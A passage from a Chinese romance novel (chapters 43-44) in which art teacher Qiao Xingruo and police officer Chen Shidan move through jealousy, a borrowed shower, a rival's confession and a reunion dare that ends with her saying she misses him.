她说话时神情不太自然,小动作不停,许敏看在眼里,流露出一抹笑意。
“好,那下次吧。”
“……”
晚上下课,乔星若和江嘉明一起从画室出来。
“若若,你打车了吗?”江嘉明记得乔星若一直都是打车下班的,便随口问了句。
乔星若摇头:“朋友过来接我。”
现在正在下雨,雨丝淅沥,夜里的空气似被灌了冰碴子,染上几分冷冽。
乔星若下意识缩了缩脖子,低头在包里找伞。
这时才想起来伞在前几周不见了,一直没想起重新买。
乔星若面露为难,打开手机问陈时澹什么时候到。
江嘉明注意到她的动作,扬了扬自己手里的:“你朋友过来没?我们一起撑一把伞吧,我送你上车。”
看到陈时澹发的“一分钟”,乔星若欣然答应。
现在雨虽停了,可地面还是湿的,画室门前铺了一层大理石,打湿之后特别滑。
现在已经是三月,气温回升,乔星若今天图方便穿了洞洞鞋出门。
谁知这鞋一点都不防滑,踩在门槛外的大理石地板上,乔星若没有丝毫防备,身体因重心不稳踉跄了一下。
旁边的人眼疾手快拉住她的胳膊,往自己的方向收回臂弯。
一时之间,两人靠得极近。
江嘉明周身的空气温暖,感受到猝不及防的陌生气息,乔星若懵了一下,下意识想将手臂缩回来,却不好反应过激,僵着没动。
“……谢谢。”
“雨天路滑,小心一点。”
乔星若垂眸盯着自己被他攥着的手臂,有些尴尬:“呃……我没事了。”
“啊……抱歉。”江嘉明后知后觉反应过来,立即松开了手。
乔星若胡乱摇摇头,不经意瞥见不远处的车,眼眸亮了一下。
也顾不得还在下雨了,匆匆跟江嘉明说了“明天见”后,小跑过去。
拉开副驾车门,迅速钻进车里。
“晚上好呀。”乔星若系好安全带,扭头看向旁边的人。
“晚上坏。”陈时澹看到她是冒雨跑过来的,瞥见她发丝上沾着的水珠,把纸巾扔给她。
“?”乔星若抽了一张随手擦了一下,有些纳闷他为什么这么说。
心情不好?
还是案子进展遇到什么困难了?
陈时澹薄唇抿成一条直线,没有再说什么。
他刚过来的时候,远远看到乔星若和江嘉明撑着一把伞,靠得极近。伞是偏着的,正好挡住了他这个方向的视线。
这个距离不难脑补出,两人在伞下亲密的画面。
啧。
怎么看怎么碍眼。
某人还害羞逃开,跑进他的车里装作若无其事跟他打招呼。
面部血管扩张,从微表情能看出她此时是愉悦的。
所以被喜欢的人亲了很开心。
一点都不想跟她说话。
43. 暧昧
车内的温度跟室外的形成极大反差,在温暖空间小的地方,乔星若的神经舒缓下来,不知不觉染上了困意。
她的脑袋一点一点的,很快阖上了眼帘。
陈时澹把车开进小区,停在地下车库里,目光落在旁边正恬静入梦的女生脸上。
这一幕似曾相识,他想起了去年不同时间同样地点,被她在这做梦耍流氓的事情。
陈时澹声音压得低低的,听不出情绪:“便宜都让你占完了,一点负责的想法都没有,还喜欢别人……”
“你是可以的,乔星若。”
“……”
乔星若不知睡了多久才悠悠转醒,她脑子一片茫然,下意识转头看向旁边。
陈时澹正在给人回消息,手机屏幕上的光映在他的侧脸上,眼眸极亮。
注意到她醒了,他也回完了最后一条消息,将手机息屏。
乔星若挠挠头,有些不好意思:“我不小心睡着了,你怎么不叫我呀?”
“刚想叫,醒了就上楼吧。”
两人从车上下来,一前一后走着,坐电梯上楼。
一路无话,直到从电梯厢出来,陈时澹忽然叫住她。
“乔星若。”
乔星若闻声回眸,不解看他。
陈时澹舔了下唇,睫毛在眸里映下一片阴影,显得瞳孔深邃。
“你有男朋友了?”
乔星若不知道他为什么要这么问,但还是诚实回答:“没有啊。”
陈时澹的表情要笑不笑的:“我看到那个男人亲你了。”
乔星若没想到这人还当着她面造她的谣,一时震惊得睁大眼睛。
艰难理解完这句话的意思,她猜到陈时澹说的“男人”应该是江嘉明,便一下子掉入自证的怪圈。
“没有人亲我,刚才是因为那段路很滑我没站稳,江嘉明就扶了一下我的胳膊,可能是伞挡着看起来像……但是我们没有……”
乔星若的语速飞快,语气有些慌乱。
后面发现自己心虚得莫名其妙的,她逐渐镇定下来,表情严肃:“你怎么能胡说,看到的只是表面现象,不一定是事实,你得给我道歉。”
“嗯,对不起。”陈时澹听到她的解释时表情已经柔和了下来,似乎心情很好,顺着她的话道歉。
他眸里的笑意并不明显,可乔星若还是看到了,还以为他在笑话她,心情一下子变得郁闷,不想理他了,转过身开门。
身后的人还定在原地,低沉温润的声音传来。
“乔星若,我那边的热水器坏了。”
乔星若张了张嘴,呐呐解读了一下:“你是要来我这边洗澡吗?”
陈时澹沉默两秒,眼睑微微下垂:“不方便也没事,虽然雨天有点冷,但我洗冷水澡也是可以的。”
他都这么说了,乔星若哪还好意思拒绝。
再想起去年她这边热水器坏的时候他好心让她去隔壁洗,顿时为自己的那一点点犹豫感到万分愧疚,连忙答应下来。
“没有不方便……可以的你拿好东西过来吧。”
几分钟后,陈时澹回隔壁拿上洗浴用品过来。
乔星若瞥了眼他手里的东西,有些意外:“师哥,你就拿这么点东西?”
陈时澹听到她还是喊自己师哥,之前说的话显然没听进去,心里升起一丝烦躁:“我个大老爷们儿用不着这么细致,就简单淋浴一下。“
乔星若缓缓点头。
道理她都懂,但也太过于糙了吧……就一瓶洗发水,还有一条浴巾。
换洗的衣服都不需要的……吗?
这对吗,这可是在她家哎。
陈时澹知道她这边的浴室在哪,用不着她带路,径自走了进去。
乔星若在原地木了一会儿,看到在她面前走过的乔咪咪才想起去给后者倒猫粮。
浴室里的水流声很快停下,陈时澹从里面出来。
男人上身赤裸,腰间之下就裹了条浴巾。常年锻炼的身材一览无遗,腹肌线条清晰可见,臂间肌肉紧实,充满力量感。
可能是被热水晕染,陈时澹的耳根以下都泛着肉眼可见的红。
乔星若在客厅听到开门的声音,下意识回过头,只一眼便红着脸低下去装鹌鹑。
道德在哪里?男德在哪里!
美男出浴也是让她见着了……
室内沉默无言,只剩下乔咪咪吃东西窸窸窣窣的声音。谁也没看谁,心照不宣低着头。
片刻之后,陈时澹揉着脖颈主动开口:“谢谢,那我先回去了。”
“啊,好、好的……再见。”
“……”
一阵脚步声过后,门口玄关处传来极轻的磕碰声,客厅重新安静下来。
乔星若缓缓吸入一口气,迅速过去给门上锁,一直紧绷的身体顷刻间松懈下来。
稍微平复呼吸,她无意识走到了卫生间门口,反应过来时看到里面的浴室还未散尽的水雾缭绕,脸又不争气地红了。
感觉他在勾引自己……
要不是了解他的为人,她都要怀疑他是故意的了。
—
本以为那晚的事情陈时澹也很尴尬,他们会互不打扰一段时间。
可陈时澹的行为出乎乔星若的意料,那晚之后他主动给她发消息的次数频繁,接送她上下班,一起在画室附近吃晚饭。
他会假装自若地帮她拎包,动作有些不明显的僵硬。
乔星若就算是再妄自菲薄,也很难不从其中感觉到生疏却有意为之的心意。
那个念头在她的心里破芽,萌动生长着。
每次见到他的时候,乔星若都有种患得患失的迫切心思哽在咽喉。
她很想很想问,“你是不是也对我有好感”。
但莫名的畏缩心理让她无数次将这句话压下来,继续和他这样暧昧不明。
一段时间之后,乔星若看着陈时澹的动作越发娴熟自然,似乎已经习惯了对她这样,她自己心里就越焦虑,觉得不能这么心安理得接受。
这样是不对的吧,可他也没有明说他对她的想法……
就这样憋着一股郁闷的劲儿胡思乱想了一段时间,乔星若终于忍不住了,在某次一起回家时犹豫着开口:“师哥,其实你不用每天都过来接我的……”
她的本意是一般情况下她的下班时间比陈时澹的晚,不是每次都顺路。她可以自己回去,不用麻烦他这么累。
但在陈时澹听来意思就变了味儿了,他没正眼看她,抿了抿唇:“你不想我来接你?”
听着好像还有点怨气,乔星若人懵了一下,脑子艰难运转着:“不是,我不是这个意思……嗯,我
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就是觉得我下班时间太晚了,会麻烦到你。”
“不会。”陈时澹瞥了她一眼,“系好安全带。”
“哦。”感觉没沟通到点上,乔星若纳闷地扯过安全带系上,没再说话。
回到小区上楼,电梯门开时一个人影蹦出来。
“嘿!”
乔星若被这措不及防的动作吓得后退两步,陈时澹下意识蹙眉,挡在她身前。
“梁知意,你干嘛呢?”
想吓的人没吓着,反倒吓到了不该吓的人。梁知意歉意撇嘴:“我就是想跟你开个玩笑嘛,没想到星若姐也在……星若姐对不起啊。”
“没关系的。”乔星若勉强笑了笑,往自己屋的方向走。
看着她进屋关门,陈时澹收回视线,面无表情问:“你过来干嘛?”
梁知意习惯了他的冷淡,假装不满嗔了他一眼:“我一定要有事才能来找你吗?”
“不然?”陈时澹冷嗤一声,“你哥要是敢没事在下班时间打扰我,我也让他滚。”
“那我有事,行了吧?”梁知意抬了抬手里的保温壶,“我妈妈让我给你带的汤,还有她包的饺子。”
“现在过晚饭时间了。”陈时澹打开门,换鞋进屋。
梁知意跟在他身后,气鼓鼓的:“那谁叫你不早点回来,我等了你一个小时!”
“不会打电话?”
“久等才显得我心意重嘛。”梁知意想起刚才看到的另一个人,转移话题,“时澹哥,你和星若姐一起回来的吗?”
“嗯。”
“为什么?”
陈时澹敷衍回了句:“我们局离她工作的地方近。”
这个答案显然没有说服梁知意,她不死心问:“只是这样?那这里离我实习的公司也很近呢,你怎么不接我?”
陈时澹有些不耐烦,但对年纪小的人忍着没表现出来:“你这么早下班,又是在家住,阿姨和你哥轮着接,需要我做什么?”
“那不一样啊,你连提都没提。”
“我可以现在提着你丢出我家,你需要么?”陈时澹夺过她手里的保温壶,往厨房的方向走。
梁知意“切”一声,眼珠子溜溜转了一圈,试探着问:“时澹哥,你是不是喜欢星若姐啊?”
陈时澹倒汤进碗的动作顿了一下,倒完后重新拧回保温盖还给她。
“有你什么事。我给恒哥发消息了,他应该快到了,走吧。”
梁知意跟陈时澹认识这么多年,其中好几年都在明里暗里关注他,自然是了解他的。
在他这里,不明确反驳,通常表肯定。
她的脸顿时垮了下去,眉头一皱:“真的啊?”
“跑着走。”陈时澹不是看不出来她的心思,他的一只掌心撑在台上,神情漫不经心,语气却加重了些,“下一句我真骂你了。”
梁知意下意识缩了缩脖子,她对他这幅样子很陌生,也有点熟悉。
小时候她还只把他当亲哥的时候,他也是这么管她的,跟她爸和梁知恒一样。
后来少女情窦初开,十几岁的心事难以藏匿。
陈时澹很快察觉到,对她避之不及,来她家里找梁知恒都要问后者一句“小意不在吧”。
梁知意眼眶泛红,愤愤瞪了陈时澹一眼,吼了一句“你骗人”,转身离开。
44. 想你
陈时澹听到门板撞墙发出的巨大动静有些头疼,低头揉了揉眉骨。
过了半小时,手机上的消息提示音响起。陈时澹打开看了一眼,是梁知恒发来的。
恒哥:“阿澹,我看刚才小意情绪挺不稳定的,你们聊什么了?”
陈时澹顿了一下,缓缓打字:没什么,我说话有点重了让她想起了叔叔的事情,帮我给她道个歉吧。
蓦然提起这事,梁知恒过了一会儿才回复,语气有点唏嘘:“哎……行,你甭用了,我待会儿会好好跟她聊聊的。”
“……”
另一边,乔星若盘腿坐在沙发上发呆,茶几上摆了几盒吸空了的牛奶。
心情不好但又不会抽烟的人是这样子的,疯狂吸入。
这招是米谰传授给她的,似乎没啥效果,乔星若不信邪地又拆了一盒。
不到半小时,乔星若喝了六盒牛奶,几乎每隔半分钟想起一次隔壁的人,还有之前在火锅店听到梁知意说的那句话。
——从现在开始我要追他。
明媚直球的女孩子的追人方式肯定和她这种窝囊废的不一样。
估计到现在,陈时澹都看不出来她在追他。
她心里好像住了两个人,一个很想很想勇敢,另一个则控制不住自卑退缩,死死拽着前者。
乔星若同自虐一般,忍不住多想。
他们现在在干嘛呢?
现在都九点了,梁知意今晚不会在他家留宿吧?
如果梁知意不留宿,他也会像接送她下班一样,送前者回去……
……
几次尝试控制自己不乱想未果,乔星若懊恼地将头发一股脑揉乱,而后肩线松懈下来,长长叹了口气。
他们,跟她,有什么关系。
乔星若绷着脸,跟自己赌气似的用力给了旁边的抱枕一拳。
随手垫在抱枕下面的手机随着她的动作滑了下去,发出一声巨响。
乔星若:“……”天杀的,误伤到了伤不起的东西。
注意力被这么一转移,情绪已经冷静了许多。
乔星若将手机捡起来,仔细检查屏幕有没有摔出问题。
亮起的手机屏幕上跳出了没有邱宁的大学宿舍群的几条消息。
她们毕业后还是经常一起聊天的,只不过乔星若很少看绿泡泡的生活账号,也不怎么发言。
乔星若关掉上课时间开着的静音模式,随手翻着群里的聊天记录。
夏熙和林溯琪前面聊的是一些美妆旅游之类的话题,因为已经结束一段时间了,早就换了新话题,乔星若迅速往下滑到她们现在在聊的界面。
是近期准备组织同学聚会的事情。还艾特了她,问她这次打算去吗。
乔星若不理解:年初不是刚组织吗?这才过了不到一个月……
夏熙:“你没看那个群聊消息吗,他们说是因为当时很多人还在老家没回来,来的人也就几个。现在大家都回来了,也大部分都在海城和邻市工作,所以要重新组织一次。”
乔星若沉默了几秒,退出聊天框,果然看到了沉到不那么明显位置的大学群聊,消息99+。
她手速快,没来得及思考便手欠点了进去,就看到班长一堆煽情的话。
不得不承认,她是一个耳根子软且很容易被道德绑架的人,看着这一堆叽里咕噜的小作文,她心里已经有点松动了。
重新点进宿舍群,乔星若问群里的另外两人:你们去吗?
林溯琪:我应该去吧,刚好那天没什么事,李璆行和班长感情也挺好的。
夏熙:我也去,班长这两年混的可以,说是如果这次有一半人来他每人发一百块钱红包,不拿白不拿。
乔星若本来还疯狂纠结,但看到她们都说去,还有红包,心里摇摆不定的指针顿时明确。
敲星惹:那我也去吧。
事实证明晚上做的决定白天有八成会后悔,乔星若第二天就后悔了。
她本想找个借口说没时间去,但林溯琪已经把她们三的名字都报给了班长。
以为乔星若犹豫是因为邱宁,林溯琪还特意安慰她说邱宁和她男朋友这次不来。
这句话确实有安慰到乔星若,她叹了口气,还是妥协了。
算了,去就去吧,反正那天正好也没什么事。
同学聚会安排在晚上,班长在海城某个出名的酒楼定了包间。
乔星若怕自己认不得人,特意等夏熙和林溯琪到了再一起进去。
她在读书那会儿就没什么存在感,很多人过来打招呼也是冲着她那两位性格开朗交际广泛的舍友来的,对于她只是顺带礼貌性问个好。
乔星若也乐得其见,林溯琪被有娃群体拉着去聊共同话题,夏熙有一大群朋友聊不完,她则全程安静吃东西。
有人跟乔星若曾经有些交集的,倒是会过来和她聊两句,她抿起职业假笑一一回话。
吃完晚饭后还有KTV环节,乔星若没好意思说自己想走了,只好跟着他们一起过去。
对于她来说就是换个吵的不行的地方玩手机,她特意挑了个角落位置。
临近平时的晚间下班时间,乔星若忽然想起忘了跟陈时澹说她今晚没课,不知道他会不会来接她。
犹豫了一会儿,她点进陈时澹的聊天框,打出一行字:师哥,我今晚没课……你不用来接我了。
她在心里默读了一下,感觉有点别扭。
好像把人家当司机一样。
乔星若抿了抿唇,把这行话全删了。
这时夏熙在不远处的座位叫她:“若若,别玩手机了,过来跟我们打牌呀!”
“啊……好的。”忽然被人叫去参与游戏,乔星若有些受宠若惊,复杂的情绪顷刻在心里浮起,还带了点愉悦,很快将要给陈时澹报备的事情抛到脑后。
“先定好规则哈,输了要罚酒的!”
这点情绪很快被挫败覆盖住,乔星若忘了自己是一个手气奇臭的人,每次拿到的牌都烂得不行。
围观的都看不下去了,围在她身后七嘴八舌地给她指导。
乔星若也没想到自己在这些同学面前存在感最强的一次会是这种场景,被迫话多了一些。
酒杯是那种容量很小的,一杯只有一小口。乔星若因为输的多,几局下来喝了好几杯。
有人开玩笑:“熙熙,你叫星若过来玩是不是故意的?”
夏熙:“哎真没有,我也没想到若若手气这么不好啊。”
众人见乔星若面色没什么变化,夸她酒量好。
乔星若被夸得有点不好意思,抿起一个含蓄的微笑。
后面换了几个游戏,其中一个是聚会常备游戏:真心话大冒险。
很多人一边吐槽着老套一边口是心非参加。
游戏进行的位置
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是在乔星若这边的,她本想起身给人让位置,可两边都有人堵着,便莫名其妙参与了。
游戏的第二轮就抽到了她。
大家对美女的兴致盈然,因为不熟没有大起哄,却也将目光都聚集在她身上。
乔星若尴尬笑笑,想起上一个人选的大冒险,便也跟着说了一个:“我选大冒险吧。”
转酒瓶的人抽了张卡牌,念了出来:“打电话给喜欢的人,跟他说我想你了。”
周围一片唏嘘。
“哦——”
“有点难度啊这,星若哪像会说这种话的人。”
“要是对方有对象那不完犊子了吗?”
“如果人有对象的话,罚酒得了,就是一个游戏没必要。”
乔星若本来也想着罚酒算了,但“有对象”那几个词眼刺激到了她,加上先前酒精的催动,她心一横,临时改了主意。
“我打。”
周围寂静了一瞬,重新躁动起来。夏熙和林溯琪也讶异地看向她。
乔星若紧抿着唇,打开手机解锁密码。
屏幕上当即跳出了刚才还没来得及退出的聊天框,她温声解释:“他是警察,我不知道忽然打电话会不会影响到他工作……所以我要问一下。”
大家表示理解。
乔星若在所有人目睹中敲出一行“你现在方便通话吗”,点击发送。
对面很快打了语音过来。乔星若眨了眨眼,强壮镇定点了接听,点开免提。
所有人屏息凝神,注意着这边的动静。
陈时澹的声音传来:“我现在在你们画室这边,刚才看到你同事关门了,你在家还是?”
乔星若摩挲着衣摆,声音有些紧张:“我今晚有个同学聚会,我现在还在外面……”
对面沉默了一瞬:“在哪?”
乔星若没来过这边,有些茫然。好在有人跟她说了个地点,她连忙重复了一遍。
“我知道了,我现在过去,等我电话。”
乔星若呐呐应了句“好”。
“……”
通话结束,那句“我想你了”并没有说出来,任务没完成,但也喂了大家一嘴狗粮。
“这是在没在一起啊?”
“听声音感觉挺帅的,磕到了。”
乔星若没回答,自觉喝了罚酒。
她今晚喝了挺多的,脑袋有点昏沉,后面的游戏没再参与,安静等人。
她人菜瘾大,不到半小时里又喝了不少。
不知过了多久,陈时澹的电话打了过来。
乔星若恍惚站起身,跟距离最近的夏熙说了一声自己先走了。
夏熙也喝了很多,语气含混:“啊好……那若若你路上注意安全,到家跟我们说一声。”
“好,拜拜。”
“拜拜。”
“……”
乔星若挪着步子,离开包间到外面,看到了熟悉的身影。
电话一直是接通状态,男人站在外面,将手机举到耳边。
夜色浓郁,树旁大片暖黄的灯光都印在穿插生长的枝叶上,树下只留昏暗余光。
乔星若离得不算近,看不清那人的神色。
陈时澹如有所感地回眸,一眼便看到了她,大步朝她走了过来。
“在这傻站着做什么?”
“我想你了。”
两道声音同时响起。